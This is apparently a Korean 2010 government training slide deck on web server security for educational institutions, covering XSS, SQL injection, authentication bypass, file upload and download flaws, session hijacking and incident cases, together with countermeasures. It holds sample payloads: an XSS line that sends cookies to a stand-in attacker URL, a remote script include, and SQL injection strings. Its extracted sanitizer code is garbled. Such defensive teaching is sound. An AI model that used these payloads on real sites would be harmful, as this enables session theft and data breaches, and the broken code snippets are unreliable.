웹서버보안취약점대응및조치 2010. 5. 교육사이버안전센터
목차 Ⅰ 웹보안개요 Ⅱ Ⅲ Ⅳ 최신기술동향주요해킹기술및대응방안취약점사고사례 Ⅴ 참고자료
Ⅰ 웹보안개요
I. 웹보안개요 1. 웹구조의이해 URL: 프로토콜 :// 호스트명 [: 포트번호 ]/[ 경로 /] 파일명 [?Param= 값 ] HTTP: // www.ecsc.go.kr / Login.jsp? User=name Web Server WAS WAS DB DB 클라이언트방화벽웹서버 WAS DB 서버
I. 웹보안개요 2. 웹보안이해 방화벽등의보안솔루션을이용하여모든불필요서비스차단 웹해킹위주의공격시도 보안솔루션의다양한우회공격기술고도화및대중화 SQL 삽입,XSS, parameter 변조 HTTP HTTPS IP/Port 방화벽 Known Attack IDS/IPS Bot/Worm
I. 웹보안개요 3. 2009 년교육기관침해사고현황 09 년교육기관침해사고중웹해킹 56.6%, 악성코드감염 33.6% 발생 [ 자료 : 교육사이버안전센터 ]
Ⅱ 최신 기술 동향
II. 최신기술동향 1. 기술동향 공격복잡도 Open Defaults Blended Attacks 공격도구및환경변화 100 vulnerabilities source code, CLI based +1mio internet users +4000 vulnerabilities GUI, WYSIWYG +600mio internet users 공격대상 공격방법 Zero Day Attacks 2002 2003 2004 2005 2006 2007 2008 2009
II. 최신기술동향 2. 주요취약점선정 파일업로드보안 WebDAV 취약점 NCSC 2010ECSC 점검항목 OWASP 디렉터리리스팅파일다운로드보안 검색엔진불필요주요정보정보노출노출기본, 설치파일실명인증노출우회 세션탈취 SQL Injection 인젝션 - 취약점크로스사이트스크립팅 (XSS) Cross Site Scripting (XSS) 백업자료Cross 노출 Site Scripting 파일(XSS) 업로드 취약한인증및세션관리 오류정보Session 노출 Hijacking 파일다운로드불안전한직접개체참조 취약한계정관리 SQL Injection 테크노트, 제로보드취약점디렉터리업로드리스팅취약점 SQL Injection 실명인증다운로드우회취약점 실명인증우회취약점 인증정보인증노출암호화통신 취약한공개게시판크로스사이트요청위조 (CSRF) 관리자페이지노출보안설정상의오류권한우회검증되지않은 redirect와 forword Cross Site Scripting 불안전한암호화저장 접근통제 불안전한통신 URL 접근통제미흡 [ 붉은색 ] : 2010 신규항목
II. 최신기술동향 3. 2009 년교육기관보안취약점현황 09년교육기관웹서버보안취약점점검결과 인증암호화통신 (15%), XSS(14%), Session Hijacking(14%) 취약점발생 [ 자료 : 교육사이버안전센터 ]
II. 최신기술동향 4. 보안취약점대응가이드 웹서버보안취약점대응가이드개정및배포 기관별자체취약점점검체계마련을위한점검가이드개정및배포 09년교육기관웹서버침해사고및취약점점검결과를반영 Cross Site Scripting, SQL Injection 등 12 종취약점과 3종의침해사고대응방법수록
II. 최신해킹기술동향 5. 교육기관정보시스템취약점집중감사 (1) 정보시스템취약점분석결과 대표홈페이지등학내망에서운영중인홈페이지에대한보호대책미흡 - 학내망전체에대한정보보호시스템구축필요 - 인터넷접점구간에웹방화벽이설치 운영되고있으나학내망을통해 DMZ 구간의해킹가능하므로별도의정보보호시스템구축필요 홈페이지 DB 서버의동일네트워크운영개선을위해서버팜에대한네트워크분리필요 - 홈페이지, DNS 등공개서버의네트워크분리를위한 DMZ 망구성필요 다양한홈페이지취약점 ( 실명인증, SQL-Injection, XSS, 인증정보노출등 ) 발견 자체홈페이지보안강화를위한담당자의전문기술교육이수및웹취약점점검 / 분석도구 ( 웹스캐너 ) 를도입 운영을통한홈페이지보안수준향상필요 무선랜에대한보안대책미흡, 정보보호시스템접근제어정책 (ACL) 에대한보호대책미흡 - 허가되지않은무선랜 (AP) 을사용함에따라인증정보등의노출, 유출가능성존재 - 접근제어정책추가 변경 삭제에대한신청및승인절차를수립하여시행필요
II. 최신해킹기술동향 5. 교육기관정보시스템취약점집중감사 (2) 홈페이지취약점발견현황 5 개교육기관의홈페이지취약점점검결과대표홈페이지를중심으로하여총13 개분야에서37 건의취약점발견됨 특히상위 5 개의취약점은기관에서 80% 이상발견됨
Ⅲ 주요 해킹기술 및 대응방안
III. 주요해킹기술및대응방안 1. 오류정보노출 오류정보? 서버시스템오류로인한시스템정보노출 페이지권한정보등으로인한서비스정보노출 문제점 시스템내부정보유출 서비스취약정보를간접적으로제공 대응방안 오류발생예외처리하여정보노출차단 HTTP 상태정보는일괄적용하여노출차단
III. 주요해킹기술및대응방안 2. 실명인증우회 (1) 실명인증우회 정보통신망이용촉진및정보보호등에관한법률에의거, 사용자인증을거친후글쓰기가능하지만, 사용자인증시사용자정보를훼손 / 변조하여회원가입 문제점 회원가입시제공되는기능악용 - 가입시포인트적립등 사용자, 관리자로위장하여악의적행위
III. 주요해킹기술및대응방안 2. 실명인증우회 (2) 공격기법 실명인증우회 사용자실명인증과정중, 인증기관의인증결과를프록시 (proxy) 프로그램으로정보를변조하여웹서버의인증체계를우회 개인정보 : 홍길동, 700113-1234567 웹서버 이름, 생일, 주소등 1. 실명인증시도 4. 이름변조시도 2. 실명확인요청 개인정보 : 고길동 701010-1010101 3. 개인정보 공격자 3. 실명확인 인증기관
III. 주요해킹기술및대응방안 2. 실명인증우회 (3) 공격기법
III. 주요해킹기술및대응방안 2. 실명인증우회 (4) 대응방법 실명인증통신과정을암호화하여운영한다. 웹서버에서의입력값검증을통한개인식별자료 ( 성명, 주민등록번호 ) 의변조유무와실명여부를체크한다. 실명인증우회 개인정보 : 홍길동, 100113-1234567 웹서버 이름, 생일, 주소등 1. 실명인증시도 4. 이름변조시도 2. 실명확인요청 실명정보 = 사용자정보검증 3. 개인정보 공격자 3. 실명확인 인증기관
III. 주요 해킹기술 및 대응 방안 3. 인증 정보 노출 문제점 네트워크 통신 과정에서 주요 정보가 노출되지 않도록 암호화를 통하여 정보를 은닉 인증 과정에서 사용자 계정 등의 주요 데이터가 암호화되지 않아, 네트워크 스니핑(sniffing)으로 인하여 사용자 정보가 노출 대응 방안 공인인증서 또는 I-PIN를 이용한 사용자 식별, SSL(Secure Sockets Layer)을 이용하여 네트워크 통신을 암 복호화하여 데이터의 기밀성을 확보한다.
III. 주요해킹기술및대응방안 4. Cross Site Scripting (XSS) (1) XSS? 게시판등의입력창을통해스크립트를수용할때발생 쿠키, 세션정보탈취및악성코드설치등, 클라이언트의정보를탈취 문제점 악의적스크립트로인해개인정보노출 클라이언트 PC 에악성코드설치유도
III. 주요해킹기술및대응방안 4. Cross Site Scripting (XSS) (2) 공격기법 개인정보유출 악성코드감염 2. 사용자로그인 3. 개인정보획득 1. 악성Script 삽입 취약사이트 3. 자동접속 4. 악성파일설치 2. 사용자로그인 1. 악성 Script 삽입 취약사이트 침해사이트 http://www.hackedurl/error.jsp?errormessage=hi <script> document.location.replace( http://attackerurl> /cookie.php? +document.cookie+ & +document.url); <script> <script> <script src=http://s.ardosha????.com/s.js> </script>
III. 주요해킹기술및대응방안 4. Cross Site Scripting (XSS) (3) 점검방법 게시판제목 / 내용등의입력값에아래와같은스크립트입력후, 글읽기등으로실행여부확인 XSS 점검예제 <script>alert('xss 보안점검 ');</script> <img src=javascript:alert('xss 보안점검 ');> <embed src="http://cyber.ecsc.go.kr/xss_test.swf"></embed> <img src="http://cyber.ecsc.go.kr/images/comm/ login/login_logo.gif" onmouseover="alert('xss 보안점검 ');"> <object type="text/x-scriptlet" data="http://cyber.ecsc.go.kr/xss_test.html"></object> 참고사이트 : http://ha.ckers.org/xss.html
III. 주요해킹기술및대응방안 4. Cross Site Scripting (XSS) (4) 대응방법 입력값검증 ( 길이제한, 입력 type 등 ) HTML Tag 사용제한 ( 치환 ) 검증, 차단기능은서버사이드페이지에구현 WhiteList 방식을통한업로드파일검증 < < " ' > > # # - - ( ( % % ; ; ) ) & & 적절한보안솔루션도입, 탐지정책설정및관제 ( 보안솔루션우회가능 ) if (use_html) //HTML tag를사용하게할경우부분허용 subject = subject.replaceall("<","<"); subject = subject.replaceall(">",">"); subject = subject.replaceall("<p>", "<p>"); subject = subject.replaceall("<p>", "<P>"); subject = subject.replaceall("<br>", "<br>"); subject = subject.replaceall("<br>", "<BR>"); else //HTML tag를사용하지못하게할경우 subject = subject.replaceall("<","<"); subject = subject.replaceall(">",">"); out.print(" 문자열게시물차단을내용 javascript -" + memo 로구현하여 + "<BR>"); 우회가능 치환을통해 HTML Tag 인식불가토록조치
III. 주요해킹기술및대응방안 5. SQL Injection (1) SQL 삽입? 논리적오류를이용, 입력값을변조, 삽입하여비정상적으로데이터베이스에접근또는정보탈취 입력값을수용하는통해스크립트를수용할때발생 문제점 DB 내정보노출 / 훼손 클라이언트에악성코드설치유도
III. 주요해킹기술및대응방안 5. SQL Injection (2) 공격기법 (1) 사용자인증창을통해입력받는 ID 와 PASSWD 의논리적오류를이용하여 SQL query 문을삽입하여사용자인증우회 Select * from user where id= and passwd= Select * from user where id= or 1=1;-- and passwd= or 1=1;--
III. 주요해킹기술및대응방안 5. SQL Injection (3) 공격기법 (2) 원래의 SQL 요청에 union 명령을이용하여추가 SQL 요청을삽입 Select subject contents, date from bbs where no=? information_schema.tables : DB 내모든테이블에관한정보를포함하고있는 view http://www.hackeddomain.com/bbs.php?no=5 union all select 1, table_name, 3 from information_schema.tables Select subject, contents, date from bbs where no=5 Union all select 1 1, table_name, 3 from 1nformation_schema.tables
III. 주요해킹기술및대응방안 5. SQL Injection (4) 대응방법 모든입력값검증 - 모든입력란 ( 게시판, 로그인란, 검색란등 ) 특수문자직접입력차단 입력값의길이제한및입력형 (type) 정의 SQL 서버의에러메시지를사용자에게보여주지않도록오류페이지정보변경 적절한보안솔루션도입, 탐지정책설정및관제 ( 보안솔루션우회가능 ) subject = subject.replaceall( ", "); subject = subject.replaceall( ;",""); subject = subject.replaceall("<p>", "<p>"); subject = subject.replaceall("<p>", "<P>"); subject = subject.replaceall("<br>", "<br>"); subject = subject.replaceall("<br>", "<BR>");
III. 주요해킹기술및대응방안 6. 파일업로드 (1) 파일업로드 파일업로드기능을이용하여서버사이드페이지를업로드하여웹서버권한을획득 문제점 웹쉘업로드를통해웹서버권한을획득, 원격지명령을통해홈페이지위 변조및악성코드유포 시스템권한획득및내부정보유출에이용
III. 주요해킹기술및대응방안 6. 파일업로드 (2) 공격기법
III. 주요해킹기술및대응방안 6. 파일업로드 (3) 대응방법 파일업로드폴더는파일실행권한제거 파일필터링은서버사이드페이지에서구현 업로드위치및저장되는파일은사용자에게노출되지않도록설정 화이트리스트방식이용 - WhiteList 방식 : 정상패턴만허용하고, 나머지차단
III. 주요해킹기술및대응방안 7. 파일다운로드 (1) 파일다운로드 파일다운로드기능등을통해웹서버내의 JSP, PHP 등의소스파일및시스템설정파일을다운로드 문제점 DB 설정파일및사용자계정정보 (passwd) 등시스템내부주요정보유출가능 수집된정보를통해시스템권한획득에이용
III. 주요해킹기술및대응방안 7. 파일다운로드 (2) 대응방법 다운로드파일의이름을 DB 에저장하고다운로드요청시파일이름과비교 디렉터리이동패턴 (../) 검사하는로직구성 정규표현식을통해특수문자삽입여부를검사하는로직구성 인코딩시특수문자혹은패턴검사하는로직구성
III. 주요해킹기술및대응방안 8. 세션탈취 (Session Hijacking) 세션탈취? 세션정보를탈취하여임의의사용자가정상적인권한획득및악용 문제점 웹관리자계정노출및개인정보유출 대응방안 공인인증서및검증된세션관리메커니즘만사용 - 인증토큰생성시접속자 IP 정보맵핑
Ⅳ 취약점 사고 사례
IV. 취약점사고사례 1. 보안취약점을이용한웹서버악성코드삽입사례 악성코드삽입 2009 1. Mass-SQL Injection 로교육기관홈페이지악성코드삽입 홈페이지방문시, 악성코드자동설치등의좀비 PC 활용 공격방법 SQL Injection SQL 의논리적오류를악용, DB 내에악성코드삽입 XSS - 웹페이지내악성코드삽입, 악성코드설치유도
IV. 취약점사고사례 2. 보안취약점을이용한해킹메일사례 (1) 해킹메일 2010. 1. 25. 신종해킹메일로인한국가공공기관사이버위기 관심 경보발령 악성코드가삽입된메일을통해, 사용자의개인정보유출및 PC 백도어설치 취약점 Phishing 사회공학기법을이용한정보유출 XSS - 웹페이지내악성코드삽입, 악성코드설치유도 PDF 취약점 PDF 취약점을통한악성코드자동설치및실행 Phishing
IV. 취약점사고사례 2. 보안취약점을이용한해킹메일사례 (2) 공격방법 1 5 피싱사이트개설 5 4 해커 2 3 해킹사이트악성코드 8 7 6 피해자 1 피싱사이트개설 2 웹해킹및악성코드삽입 3 사용자에게악성메일발송 4 피싱사이트접속 5 악성코드사이트접속유도개인정보유출 6 악성코드사이트접속 7 악성코드설치 8 개인 주요정보유출
Ⅴ 참고 자료
V. 참고자료 1. 웹취약점무료분석도구 구분 점검도구 특징 웹취약점취약점스캐너스캐너 프록시프록시 쿠키쿠키편집편집 네트워크네트워크모니터모니터 Nikto Nikto Pangolin Pangolin Paros Paros proxy proxy Burp Burp proxy proxy Cooxie Cooxie Toolbar Toolbar Wireshark Wireshark Perl Perl 기반의기반의웹서버서버취약점취약점점검점검기능기능 - - http://cirt.net/nikto2 http://cirt.net/nikto2 SQL SQL Injection Injection 취약점취약점점검점검기능기능 - - http://www.nosec.org http://www.nosec.org Java Java 기반의기반의프록시프록시서버서버기능기능 - - http://www.parosproxy.org http://www.parosproxy.org Java Java 기반의기반의프록시프록시서버서버기능기능 - - http://portswigger.net http://portswigger.net IE IE 툴바툴바기능기능 - - http://www.diodia.com http://www.diodia.com 네트워크네트워크패킷패킷모니터링모니터링 - - www.wireshark.org www.wireshark.org
V. 참고자료 2. 참고문헌 웹서버보안가이드 [1] 웹어플리케이션보안템플릿 (2006.06.) 한국인터넷진흥원 (KISA) ( 구한국정보보호진흥원 ) [2] 홈페이지개발보안가이드 (2007.09) 한국인터넷진흥원 (KISA) ( 구한국정보보호진흥원 ) [3] 홈페이지보안관리매뉴얼 (5005.5) 국가사이버안전센터 (NCSC) [4] 공공기관웹서버개인정보노출방지가이드라인 (2009) - 행정안전부